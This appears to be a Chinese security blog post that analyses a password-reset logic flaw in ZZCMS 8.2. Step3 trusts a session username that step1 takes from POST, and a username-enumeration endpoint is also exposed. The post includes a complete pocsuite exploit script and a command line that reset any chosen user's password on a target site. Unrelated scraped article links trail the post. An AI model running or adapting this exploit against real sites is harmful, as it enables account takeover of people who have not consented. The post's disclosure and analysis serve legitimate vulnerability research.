前言

一个找回密码处的逻辑漏洞, 还是有点意思的。

正文

首先是定位找回密码功能对应的代码位置,使用找回密码的功能,然后抓包即可

下面去 getpassword.php 里面看看, 首先包含了一些文件

conn.php 中,包含了 stopsqlin.php 会对参数进行过滤操作。

stopsqlin.php 中对参数的过滤

回到getpassword.php , 文件后面就开始进入 密码找回 功能的业务逻辑了。

找回密码功能分为3个部分

正常走一遍流程,期间用 burp 抓包



可以看到根据 action 来识别已经进行到了哪一步。以这个为线索去看代码,逻辑就非常清晰了。

我们直接来看看最后一步的代码

判断非常的简单, 只要

$action == "step3" && @$_SESSION['username'] != ''

接下来找 哪里修改了 $_SESSION['username'], 发现在 step1 的时候,用 POST 参数修改 $_SESSION['username']

于是利用思路

  • 首先进入 step1 , 设置 $_SESSION['username']为需要重置的用户名
  • 然后进入 step3 , 设置密码即可

同时该程序还有一个小问题,check_username_ajax.php  没有做 检查, 我们可以用它来枚举用户

pocsuite 写的 exp:

#!/usr/bin/python
# -*- coding: utf-8 -*- import string
import random
import time
from pocsuite.net import req
from pocsuite.poc import POCBase, Output
from pocsuite.utils import register
from pocsuite.lib.core.data import logger class HackZZcms(POCBase):
name = 'ZZcms ZZCMS8.2任意用户密码修改'
vulID = '1'
author = ['hac425']
vulType = 'remote-pass-change'
version = '1.0' # default version: 1.0
references = ['http://blog.hac425.top/2018/03/07/zzcms_8_2_rest_user_passwd.html']
desc = '''ZZcms ZZCMS8.2任意用户密码修改''' vulDate = '***'
createDate = '2018-03-07'
updateDate = '2018-03-07' appName = 'ZZcms'
appVersion = '8.2'
appPowerLink = 'http://www.zzcms.net/'
samples = [''] # 检查用户名是否存在
def _check_username(self, username):
target = self.url + "/ajax/check_username_ajax.php?id=" + username
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36"} cont = req.get(target, headers=headers).content
if "用户名不存在" in cont:
return False
return True # 使得 SESSION 中存放好我们需要改密码的 用户名, 同时返回 PHPSESSID
def _get_session(self, url, username):
target = url + "/one/getpassword.php"
headers = {"Origin": url,
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36"}
data = {"username": username, "username2": "yes", "action": "step1",
"yzm": "22", "yzm2": "yes", "submit": "\xe4\xb8\x8b\xe4\xb8\x80\xe6\xad\xa5"} res = req.post(target, headers=headers, data=data)
return res.cookies.get("PHPSESSID") # 重置密码
def _reset_passwd(self, url, password, phpsession):
target = url + "/one/getpassword.php"
cookies = {"PHPSESSID": phpsession}
headers = {"Origin": url, "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36"}
data={"password": password, "password2": "yes", "action": "step3", "PwdConfirm": password, "PwdConfirm2": "yes", "submit": "\xe7\xa1\xae\xe5\xae\x9a"}
res = req.post(target, headers=headers, cookies=cookies, data=data)
# print res.content
return res.content def _attack(self):
"""attack mode"""
return self._verify() def _verify(self):
"""verify mode"""
# print self.params
result = {}
username = self.params['username']
password = self.params['password'] if self._check_username(username):
phpsession = self._get_session(self.url, username)
if "重置密码成功" in self._reset_passwd(self.url, password, phpsession):
result['VerifyInfo'] = {}
result['VerifyInfo']['URL'] = self.url
else:
logger.error("无该账号")
return self.parse_output(result) def parse_output(self, result):
output = Output(self)
if result:
output.success(result)
else:
output.fail(result)
return output register(HackZZcms)

使用示例

pocsuite -r pocsuite_pocs/zzcms/zzcms_8_2_reset_any_user_passwd.py  -u http://hack.zzcms.top/ --extra-params "{'username': 'test', 'password':'xxxxdsg'}"

参考

http://getpass.cn/2018/03/06/zzcms-Any-user-password-changes-loopholes-code-points/

ZZCMS8.2 用户密码重置漏洞的更多相关文章

  1. Dbshop v1.3任意用户密码重置漏洞

    0x00 前言 年也过的差不多了,各自也都回到岗位忙碌起来了,新的一年祝大家诸事顺利,洞洞高危!好了进入正题 0x01 漏洞简介 本次主要写个简单的逻辑漏洞!然后抛个Message 内置高危. 1.找 ...

  2. zzcms8.2#任意用户密码重置#del.php时间盲注#复现

    00x0 引言 早上起来,发现seebug更新了一批新的洞, 发现zzcms8.2这个洞好多人在挖,于是我就默默的踏上了复现之路(要不是点进去要买详情,我何必这么折腾~) 环境:zzcms8.2(产品 ...

  3. Metinfo 5.3.19管理员密码重置漏洞复现

     Metinfo 5.3.19管理员密码重置漏洞 操作系统:Windows 10专业版   kali linux  网站环境:UPUPW 5.3 使用工具:burpsuite 1.7 beta 漏洞分 ...

  4. Linux root用户密码重置,远程登陆,文件基本属性

    Linux root用户密码重置,远程登陆,文件基本属性 忘记Linux系统的root密码,linux系统忘记root密码的情况该怎么办呢?重新安装系统吗?当然不用!进入单用户模式更改一下root密码 ...

  5. 代码审计-DedeCMS-V5.7前台任意用户密码重置

    0x01 漏洞影响 该漏洞允许攻击者修改任意前台用户密码. 0x02 漏洞利用条件 1,开启会员模块 2,攻击者拥有一个正常的会员账号 3,目标没有设置安全问题 0x03 漏洞分析 漏洞文件:/mem ...

  6. 任意用户密码重置的十种姿势=====>学习笔记!

    原学习视频链接:https://www.butian.net/School/content?id=214%E2%80%98 1.验证码不失效 原因:获取的验证码缺少时间限制,仅判断验证码是否不正确而未 ...

  7. Django实现用户密码重置

    使用Django内置的认证视图实现简单的通过邮箱重置密码的功能版本:django 1.11 在django.contrib.auth.views中提供了四个类视图用于密码重置 class Passwo ...

  8. PHPCMS v9.6.0 任意用户密码重置

    参考来源:http://wooyun.jozxing.cc/static/bugs/wooyun-2016-0173130.html 他分析的好像不对.我用我的在分析一次. 先来看poc: /inde ...

  9. Metinfo 5.x 管理员密码重置漏洞

    前言 在先知看到了一篇分析该漏洞的文章,复现分析一下,漏洞还是比较有趣的. 正文 首先知道是 管理员密码重置时出现的问题,于是抓包,定位到相关的php文件. 首先包含了 ../include/comm ...

随机推荐

  1. JS优先队列排序。出队时,先找出优先级最高的元素,再按照先进先出出队。

    JS优先队列排序.出队时,先找出优先级最高的元素,再按照先进先出出队. /* * 优先队列 * 出队时,先找出优先级最高的元素,再按照先进先出出队. * */ function Queue(){ th ...

  2. (转)mysql5.7 根据二进制文件mysqlbinlog恢复数据库 Linux

    原文:http://blog.csdn.net/qq_15058425/article/details/61196085 1.开始mysqlbinlog日志功能 先找打my.cnf文件的位置: 2.编 ...

  3. python实现二叉树的建立以及遍历(递归前序、中序、后序遍历,队栈前序、中序、后序、层次遍历)

    #-*- coding:utf-8 -*- class Node: def __init__(self,data): self.data=data self.lchild=None self.rchi ...

  4. Tomcat配置https、访问http自动跳转至https

    1.配置Tomcat,打开$CATALINA_HOME/conf/server.xml,修改如下 <Connector port="8080" protocol=" ...

  5. 修改salt-minion的id后报错解决方法

    centos7使用命令 /usr/bin/salt-minion start运行报错 Error parsing configuration file: /etc/salt/master - expe ...

  6. Nodejs学习笔记(六)—Node.js + Express 构建网站预备知识

    前言 前面经过五篇Node.js的学习,基本可以开始动手构建一个网站应用了,先用这一篇了解一些构建网站的知识! 主要是些基础的东西... 如何去创建路由规则.如何去提交表单并接收表单项的值.如何去给密 ...

  7. spring cloud连载第三篇之Spring Cloud Netflix

    1. Service Discovery: Eureka Server(服务发现:eureka服务器) 1.1 依赖 <dependency> <groupId>org.spr ...

  8. 问题集录--从初级java程序员到架构师,从小工到专家

    怎样学习才能从一名Java初级程序员成长为一名合格的架构师,或者说一名合格的架构师应该有怎样的技术知识体系,这是不仅一个刚刚踏入职场的初级程序员也是工作三五年之后开始迷茫的老程序员经常会问到的问题.希 ...

  9. [转]Asp.net Mvc 与WebForm 混合开发

    本文转自:https://www.cnblogs.com/dooom/archive/2010/10/17/1853820.html 根据项目实际需求,有时候会想在项目中实现Asp.net Mvc与W ...

  10. ubuntu系统

    Ubuntu 18.04 NVIDIA驱动安装总结:(需要和自己电脑上的显卡配套) https://blog.csdn.net/tjuyanming/article/details/80862290 ...